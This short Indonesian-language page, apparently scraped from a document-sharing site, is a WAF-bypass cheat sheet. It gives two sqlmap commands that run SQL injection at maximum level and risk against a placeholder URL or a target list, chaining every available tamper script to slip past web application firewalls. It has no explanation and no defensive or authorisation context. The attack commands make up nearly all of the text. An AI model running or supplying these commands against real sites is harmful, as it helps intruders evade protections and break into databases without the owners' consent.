You are on page 1of 1

CONTOH

Fungsi temper untuk bypass WAF (Web Aplication Firewall) -- ALL Tamper SQLMAP
sqlmap -u 'http://www.site.com:80/search.cmd?form_state=1’ --level=5 --risk=3 -p
'item1'
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bl
uecoat,chardoubleencode,charencode,charunicodeencode,charunicodeescape,commalesslim
it,commalessmid,commentbeforeparentheses,concat2concatws,equaltolike,escapequotes,g
reatest,halfversionedmorekeywords,hex2char,htmlencode,ifnull2casewhenisnull,ifnull2
ifisnull,informationschemacomment,least,lowercase,luanginx,modsecurityversioned,mod
securityzeroversioned,multiplespaces,overlongutf8,overlongutf8more,percentage,plus2
concat,plus2fnconcat,randomcase,randomcomments,sp_password,space2comment,space2dash
,space2hash,space2morecomment,space2morehash,space2mssqlblank,space2mssqlhash,space
2mysqlblank,space2mysqldash,space2plus,space2randomblank,substring2leftright,symbol
iclogical,unionalltounion,unmagicquotes,uppercase,varnish,versionedkeywords,version
edmorekeywords,xforwardedfor
sqlmap -l TEST.txt --level=5 --risk=3 -p 'item1'
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bl
uecoat,chardoubleencode,charencode,charunicodeencode,charunicodeescape,commalesslim
it,commalessmid,commentbeforeparentheses,concat2concatws,equaltolike,escapequotes,g
reatest,halfversionedmorekeywords,hex2char,htmlencode,ifnull2casewhenisnull,ifnull2
ifisnull,informationschemacomment,least,lowercase,luanginx,modsecurityversioned,mod
securityzeroversioned,multiplespaces,overlongutf8,overlongutf8more,percentage,plus2
concat,plus2fnconcat,randomcase,randomcomments,sp_password,space2comment,space2dash
,space2hash,space2morecomment,space2morehash,space2mssqlblank,space2mssqlhash,space
2mysqlblank,space2mysqldash,space2plus,space2randomblank,substring2leftright,symbol
iclogical,unionalltounion,unmagicquotes,uppercase,varnish,versionedkeywords,version
edmorekeywords,xforwardedfor

You might also like